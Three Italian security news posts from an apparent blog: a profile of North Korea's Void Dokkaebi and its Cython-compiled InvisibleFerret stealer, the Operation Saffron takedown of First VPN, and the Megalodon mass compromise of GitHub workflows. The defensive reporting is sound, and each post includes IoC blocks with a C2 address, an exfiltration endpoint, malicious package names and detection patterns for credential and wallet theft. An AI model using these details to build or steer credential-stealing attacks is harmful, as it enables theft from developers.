Profilo del gruppo: chi è Void Dokkaebi

Void Dokkaebi, denominato anche Famous Chollima nell’ecosistema di threat intelligence di CrowdStrike, è un intrusion set allineato agli interessi della Repubblica Popolare Democratica di Corea (RPDC). Il gruppo si distingue da altre unità cyber nordcoreane come Lazarus Group per la specializzazione quasi esclusiva nel targeting di sviluppatori software, ingegneri DevOps e professionisti del settore Web3 che detengono chiavi di firma, credenziali di wallet e accesso privilegiato a pipeline di continuous integration e deployment.

La sua tattica operativa preferita è quella del “fake job interview”: gli operatori si spacciano per recruiter di aziende crypto o AI rinominate, contattano le vittime su piattaforme come LinkedIn o GitHub, e le convincono a clonare ed eseguire repository di codice come parte di una presunta prova tecnica per un colloquio. Il codice in apparenza innocuo nasconde i payload malevoli.

La campagna del 2026: infrastruttura blockchain e repository compromessi

L’analisi condotta a marzo-maggio 2026 ha rivelato la portata impressionante dell’infrastruttura malevola costruita dal gruppo. I ricercatori hanno identificato:

• Oltre 750 repository GitHub infetti, molti appartenenti a organizzazioni legittime come DataStax e Neutralinojs, che presentano marcatori di infezione nei workflow CI/CD
• Più di 500 configurazioni di task Visual Studio Code modificate per eseguire payload al momento dell’apertura del progetto
• 101 istanze dello strumento di commit tampering utilizzato per iniettare codice malevolo nei repository

L’elemento più innovativo della campagna 2026 è l’utilizzo di infrastruttura blockchain per la distribuzione dei payload. Void Dokkaebi sfrutta Tron, Aptos e Binance Smart Chain come staging server per i malware, rendendo gli indicatori di compromissione praticamente immuni ai tradizionali meccanismi di takedown. Aggiornare un riferimento su blockchain equivale a cambiare il payload consegnato a tutte le vittime già infette, senza modificare un singolo byte nei repository.

L’evoluzione tecnica: da Python a Cython

Il cuore dell’aggiornamento analizzato da Trend Micro riguarda InvisibleFerret, il modulo infostealer centrale nell’arsenale di Void Dokkaebi. Precedentemente distribuito come script Python in chiaro — facilmente analizzabili e rilevabili da sistemi YARA e EDR — il malware è stato interamente ricompilato tramite Cython.

Cython è un compilatore che traduce codice Python in sorgente C/C++ e poi in binari nativi. Il risultato pratico è che InvisibleFerret viene ora distribuito come file .pyd su Windows (Python extension DLL) e come librerie condivise .so su macOS. Entrambi i formati sono binari compilati: non contengono stringhe leggibili, non sono interpretabili senza reverse engineering specializzato, e bypassano le regole di detection tradizionalmente scritte per identificare script Python sospetti.

Le capacità del malware rimangono invariate rispetto alle versioni precedenti:

• Apertura di backdoor per accesso remoto persistente
• Furto di credenziali dai principali browser (Chrome, Firefox, Edge)
• Monitoraggio degli appunti di sistema (clipboard hijacking per intercettare indirizzi di wallet)
• Keylogging per catturare password e seed phrase
• Esfiltrazione diretta da wallet di criptovalute locali
• Ricognizione dell’ambiente: processi in esecuzione, file system, variabili d’ambiente

Toolset correlato: BeaverTail, OtterCookie, OmniStealer

InvisibleFerret non opera mai isolatamente. Il gruppo lo utilizza in combinazione con altri malware della stessa famiglia operativa. BeaverTail è il dropper JavaScript iniziale che viene eseguito durante il “test tecnico”, il quale successivamente scarica e installa InvisibleFerret. OtterCookie è un ulteriore stealer focalizzato sui browser e sui file di configurazione. OmniStealer amplia la superficie di furto a client di posta e applicazioni VPN. Tutti questi componenti possono essere aggiornati dinamicamente tramite i reference blockchain, garantendo al gruppo una flessibilità operativa senza precedenti.

Indicatori di compromissione (IoC)

# File IOC - InvisibleFerret Cython (maggio 2026)
# Estensioni malevole su Windows
*.pyd  (file Python extension DLL con firma digitale assente o anomala)
# Estensioni malevole su macOS
*.so   (librerie condivise caricate da processi Python non standard)
# Pattern comportamentale
Processo Python che carica estensioni .pyd/.so non firmate da directory temp
Connessioni in uscita verso endpoint Tron/Aptos/BSC non previsti dall'applicazione
Lettura anomala del keychain macOS o del credential manager Windows
Accessi al filesystem wallet: ~/.bitcoin, ~/.ethereum, ~/.solana
# Infrastruttura C2 (blockchain-staged)
TRC20 address utilizzati come dead drop resolver su Tron network
Transazioni su Aptos con payload codificati nei campi memo

Due righe per i difensori

La migrazione a Cython rende obsolete le regole YARA basate su stringhe Python. I team di sicurezza devono aggiornare la propria postura difensiva su più livelli. A livello di endpoint, occorre implementare controlli di integrità sulle estensioni Python caricate dinamicamente e monitorare processi Python che importano moduli non presenti nell’ambiente di sviluppo ufficiale. A livello di rete, è essenziale bloccare o monitorare le connessioni verso endpoint RPC di reti blockchain non autorizzate (Tron API: api.trongrid.io, Aptos: fullnode.aptoslabs.com). A livello procedurale, le organizzazioni dovrebbero verificare l’identità dei recruiter prima di clonare ed eseguire qualsiasi repository fornito esternamente, e condurre i test tecnici in ambienti isolati (sandbox o VM senza credenziali di produzione). Gli sviluppatori che lavorano su progetti Web3 o che detengono wallet crypto devono essere considerati target ad alto rischio e ricevere formazione specifica sul riconoscimento di queste campagne di ingegneria sociale.

(in)sicurezza digitale

2026-05-25 16:38:53

Operazione Saffron: smantellata First VPN, il servizio criminale usato da 25 gang ransomware

Un’operazione internazionale coordinata da sette paesi ha smantellato First VPN, un servizio VPN criminale attivo dal 2014 che per oltre un decennio ha fornito anonimato e copertura a ransomware gang, operatori di botnet e criminali informatici di ogni tipo. L’Operazione Saffron — condotta tra il 19 e il 20 maggio 2026 da autorità francesi e olandesi con il supporto di Europol ed Eurojust — ha portato al sequestro di 33 server, alla chiusura di domini multipli e all’identificazione di migliaia di utenti criminali. Almeno 25 gruppi ransomware si erano affidati al servizio per nascondere le proprie attività.

Cos’era First VPN: un servizio progettato per il crimine

A differenza dei normali provider VPN commerciali, First VPN era stato strutturalmente concepito per rispondere alle esigenze operative dei criminali informatici. Il servizio operava server in 27 paesi, accettava pagamenti anonimi e metteva a disposizione un’infrastruttura deliberatamente opaca, pubblicizzando esplicitamente la propria offerta agli hacker attraverso forum del dark web.

Europol ha confermato che First VPN non si limitava a offrire connessioni anonime: forniva ai cybercriminali pagamenti anonimi, infrastruttura nascosta e una serie di servizi specificamente commercializzati per chi voleva condurre attività illegali. L’FBI ha dichiarato che almeno 25 gang ransomware si servivano del servizio per mascherare il traffico malevolo, condurre ricognizioni sulle reti delle vittime, operare botnet, lanciare attacchi DDoS ed eseguire frodi su larga scala.

La durata operativa del servizio — dodici anni, dal 2014 al 2026 — rende First VPN uno dei provider criminali più longevi mai smantellati. Nel corso di questi anni il servizio ha rappresentato un elemento dell’infrastruttura criminale digitale quasi quanto certi servizi bullet-proof hosting che proteggono server di command-and-control.

Operazione Saffron: anatomia del takedown

L’Operazione Saffron è stata guidata dalle autorità di Francia e Paesi Bassi, con la partecipazione di cinque ulteriori paesi. Europol ed Eurojust hanno svolto un ruolo di coordinamento, mentre Bitdefender è stato tra i partner privati che hanno contribuito all’operazione con intelligence tecnica.

Il bilancio dell’operazione è significativo:

• 33 server sequestrati in tutta l’infrastruttura del servizio
• Chiusura di tutti i domini associati a First VPN
• Identificazione di migliaia di utenti criminali — le autorità hanno ottenuto accesso ai log e ai dati del provider
• 83 pacchetti di intelligence su 506 utenti condivisi con i paesi partner per follow-up investigativi
• Interrogatorio dell’operatore in Ucraina da parte di autorità francesi e olandesi

Un dato particolarmente rilevante: le autorità avevano accesso segreto ai sistemi di First VPN prima del takedown, raccogliendo intelligence sugli utenti e le loro attività. Come in precedenti operazioni simili (VPNLab, Fbi’s Anom), il monitoraggio anticipato ha permesso di costruire casi investigativi solidi contro i clienti del servizio.

Chi utilizzava First VPN: 25 gang ransomware e un ecosistema criminale variegato

Secondo l’FBI, First VPN era un punto di convergenza per una molteplicità di attori criminali. Le 25 gang ransomware che lo utilizzavano lo impiegavano principalmente per:

• Mascherare l’identità degli operatori durante la fase di ricognizione e compromissione iniziale delle reti
• Gestire i pannelli di command-and-control dei loro malware senza esporre infrastrutture proprie
• Condurre negoziazioni con le vittime attraverso connessioni anonimizzate
• Eseguire exfiltrazione di dati verso server di staging

Oltre al ransomware, il servizio veniva impiegato per la gestione di botnet, attacchi DDoS-as-a-service, frodi finanziarie e altre forme di cybercrime. La natura “crime-as-a-service” dell’offerta di First VPN riflette la professionalizzazione crescente dell’ecosistema criminale informatico, dove le diverse componenti delle operazioni illecite — exploit kit, accesso iniziale, VPN anonime, criptazione, estorsione — vengono acquistate come servizi separati su mercati specializzati.

Il contesto: la guerra delle autorità contro l’infrastruttura criminale

Il takedown di First VPN si inserisce in una sequenza di operazioni di law enforcement che negli ultimi anni ha progressivamente eroso l’infrastruttura tecnologica del cybercrimine organizzato. Tra le operazioni più significative degli ultimi 24 mesi si ricordano: il takedown di LockBit (febbraio 2024), l’operazione contro ALPHV/BlackCat (dicembre 2023), il sequestro di BreachForums (maggio 2024) e, più recentemente, l’arresto di Jacob Butler, il 23enne canadese alias “Dort” accusato di aver operato la botnet KimWolf — responsabile di attacchi DDoS da record a quasi 30 terabit al secondo, che hanno infettato quasi 2 milioni di dispositivi tra telecamere di sorveglianza e cornici digitali connesse a internet.

Ciò che emerge da questa serie di operazioni è una strategia deliberata da parte delle autorità: colpire non solo i singoli criminali, ma l’infrastruttura condivisa che permette a decine di gruppi diversi di operare. Sequestri di VPN criminali, hosting bullet-proof, servizi di riciclaggio crypto e forum di coordinamento costano al cybercrimine non solo singoli attori ma intere reti di supporto operative.

Le implicazioni investigative: i log di First VPN

Il punto più interessante — e preoccupante per chi ha usato il servizio — è la questione dei log. First VPN sosteneva, come quasi tutti i provider VPN nel mercato criminale, di non conservare log delle attività degli utenti. Le operazioni precedenti (VPNLab, IVPN, DoubleVPN) hanno dimostrato che queste affermazioni sono spesso false o parzialmente vere. In questo caso, la conferma che le autorità hanno ottenuto accesso anticipato ai sistemi e hanno costruito 83 pacchetti di intelligence su 506 utenti specifici suggerisce fortemente che dati sufficienti per l’identificazione erano disponibili.

Per le organizzazioni di sicurezza che seguono gruppi ransomware attivi, questo takedown ha una conseguenza pratica immediata: tutti i gruppi che utilizzavano First VPN dovranno migrare verso infrastrutture alternative, il che storicamente causa disruption operativa misurabile nelle campagne ransomware nelle settimane successive a simili operazioni.

Consigli per i difensori

• Monitorare i log di rete per connessioni in entrata o in uscita verso i range IP precedentemente associati all’infrastruttura di First VPN (le ION saranno condivise dai partner istituzionali nelle prossime settimane)
• Aspettarsi un picco di attività ransomware nelle prossime 2-4 settimane: i gruppi che perdono infrastrutture di supporto tendono ad accelerare le campagne attive prima di riorganizzarsi
• Aggiornare le TTP di threat modeling per i gruppi ransomware di riferimento: cambieranno IP, provider VPN e infrastruttura C2 in risposta all’operazione
• Condividere intelligence con i centri nazionali (in Italia, ACN) per contribuire alla costruzione dei pacchetti investigativi di follow-up sui 506 utenti identificati

(in)sicurezza digitale

2026-05-24 18:15:13

Megalodon: 5.561 repository GitHub compromessi in sei ore con workflow CI/CD malevoli

In sei ore, tra le 11:36 e le 17:48 UTC del 18 maggio 2026, una campagna automatizzata denominata Megalodon ha iniettato 5.718 commit malevoli in 5.561 repository GitHub, esfiltrandone segreti CI/CD, credenziali cloud, chiavi SSH e token API verso un server di comando e controllo. È l’attacco alla supply chain dello sviluppo software più rapido e capillare mai documentato, e fa parte di un’ondata più ampia che sta ridisegnando il panorama delle minacce per sviluppatori e team DevOps.

Come funziona Megalodon: l’automazione al servizio del compromesso di massa

I ricercatori di SafeDep e StepSecurity hanno analizzato la campagna in dettaglio. L’attaccante ha utilizzato account GitHub usa-e-getta con username alfanumerici casuali di 8 caratteri (es. rkb8el9r, bhlru9nr, lo6wt4t6), configurando git per falsificare l’identità dell’autore con nomi plausibili — build-bot, auto-ci, ci-bot, pipeline-bot — e indirizzi email automatizzati come build-system@noreply.dev. Questi nomi mimano la normale attività di automazione CI/CD, riducendo drasticamente la probabilità che un commit sospetto venga rilevato durante una code review.

Il payload iniettato è un workflow GitHub Actions contenente uno script bash codificato in Base64. Una volta che il proprietario del repository accetta il pull request o effettua un push, il workflow si attiva nella pipeline CI/CD e procede all’esfiltrazione massiva di dati verso il C2 all’indirizzo 216.126.225[.]129:8443.

Dati esfiltrati: una lista completa

La lista di informazioni sottratte dalla campagna Megalodon è particolarmente estesa e rivela quanto profondamente il workflow malevolo si radichi nell’ambiente di esecuzione CI/CD:

• Variabili d’ambiente CI, /proc/*/environ e ambiente del processo PID 1
• Credenziali AWS (access key, secret key, session token)
• Access token Google Cloud Platform
• Credenziali di ruolo IAM ottenute via AWS IMDSv2, GCP metadata server e Azure IMDS
• Chiavi private SSH
• Configurazioni Docker e Kubernetes
• Vault token (HashiCorp Vault)
• Terraform credentials
• Shell history
• Chiavi API, stringhe di connessione a database, JWT, chiavi PEM private
• GITHUB_TOKEN, token GitLab CI/CD e Bitbucket
• File .env, credentials.json, service-account.json e altri file di configurazione sensibili
• GitHub Actions OIDC token (URL + token)

# Indicatori di Compromissione - Megalodon
# C2 server
216.126.225.129:8443
# Account attaccante (pattern)
Username: 8 caratteri alfanumerici casuali (es. rkb8el9r, bhlru9nr, lo6wt4t6)
Author forged: build-bot, auto-ci, ci-bot, pipeline-bot
Email forged: build-system@noreply.dev, ci-bot@automated.dev
# Varianti payload
SysDiag          - Workflow su ogni push/pull_request (mass variant)
Optimize-Build   - Workflow su workflow_dispatch (targeted variant, backdoor dormante)
# Pacchetto npm compromesso
@tiledesk/tiledesk-server versioni 2.18.6 - 2.18.12
# Finestra temporale dell'attacco
18 maggio 2026, 11:36 - 17:48 UTC
5.718 commit su 5.561 repository in ~6 ore
# Pacchetti npm malevoli (Polymarket drainer - campagna correlata)
polymarket-trading-cli, polymarket-terminal, polymarket-trade
polymarket-auto-trade, polymarket-copy-trading, polymarket-bot
polymarket-claude-code, polymarket-ai-agent, polymarket-trader
Endpoint esfiltrazione: hxxps://polymarketbot.polymarketdev.workers[.]dev/v1/wallets/keys

Due varianti per due obiettivi

L’analisi tecnica ha identificato due varianti del payload con finalità diverse. La variante SysDiag è quella di massa: aggiunge un workflow attivato da ogni push e pull request, massimizzando le opportunità di esecuzione. La variante Optimize-Build è più chirurgica: sostituisce i workflow esistenti con trigger workflow_dispatch, creando backdoor dormienti che l’attaccante può attivare on-demand tramite le API di GitHub. Nel caso di @tiledesk/tiledesk-server è stata utilizzata la variante targeted, che colpisce i CI/CD runner ma non si attiva quando il pacchetto npm viene semplicemente installato dagli utenti finali.

“Il compromesso di GitHub da parte di TeamPCP era solo l’inizio”, ha dichiarato Moshe Siman Tov Bustan di OX Security. “Quello che arriverà è un’ondata infinita, uno tsunami di attacchi cyber contro sviluppatori in tutto il mondo.”

Il contesto: TeamPCP e l’ecosistema open source sotto attacco

Megalodon si inserisce in una serie di attacchi orchestrati dal gruppo TeamPCP, che ha sfruttato la natura interconnessa della supply chain software per compromettere centinaia di progetti open source in modalità worm-like. Tra le vittime precedenti: TanStack, Grafana Labs, OpenAI, Mistral AI e ora GitHub direttamente. Il gruppo ha stabilito partnership con BreachForums e crew di estorsione come LAPSUS$ e VECT, combinando motivazioni finanziarie con possibili interessi geopolitici: è stato documentato il deployment di wiper malware su macchine localizzate in Iran e Israele.

La risposta di npm all’ondata di attacchi è stata drastica: invalidazione di tutti i token di accesso granulare con write access che bypassano l’autenticazione a due fattori. NPM ha anche raccomandato il passaggio a Trusted Publishing per ridurre la dipendenza da questi token. Come ha sottolineato Socket, però, l’intervento compra tempo ma non chiude la vulnerabilità sottostante: finché il worm è attivo, continuerà a raccogliere nuovi token non appena i maintainer ne genereranno di nuovi.

Due righe per i difensori

La campagna Megalodon evidenzia debolezze strutturali nella sicurezza delle pipeline CI/CD. I team DevSecOps dovrebbero adottare le seguenti contromisure:

• Abilitare il pinning dei workflow: configurare i GitHub Actions workflow per usare SHA commit espliciti invece di tag mutabili (es. uses: actions/checkout@abc1234 invece di @v3), rendendo impossibile la sostituzione silenziosa dei workflow
• Implementare policy di branch protection: richiedere review obbligatorie per ogni push su branch principali, con particolare attenzione alle modifiche a file .github/workflows/
• Monitorare le credenziali con secret scanning: strumenti come GitHub Secret Scanning, Trufflehog o Gitleaks possono rilevare credenziali accidentalmente incluse nei commit
• Adottare Trusted Publishing: su npm e PyPI, il Trusted Publishing elimina la necessità di token statici che possono essere rubati
• Revisione dei permessi GITHUB_TOKEN: limitare i permessi del token al minimo necessario per il workflow specifico, usando permissions: nel file YAML
• Audit degli accessi OIDC: implementare policy rigorose per i token OIDC usati per l’accesso a cloud provider da pipeline CI
• Alerting su deployment key e PAT: monitorare l’uso di Personal Access Token e deploy key, revocando immediatamente quelli non più in uso

Megalodon rappresenta un punto di svolta nella storia degli attacchi alla supply chain: la capacità di compromettere oltre 5.500 repository in meno di sei ore, utilizzando tecniche di evasione che mimano il normale traffico CI/CD, suggerisce un livello di automazione e pianificazione che andrà oltre i singoli episodi. La domanda non è più se una pipeline subirà un tentativo di compromissione, ma quando — e se l’organizzazione ha le visibility necessarie per accorgersene in tempo.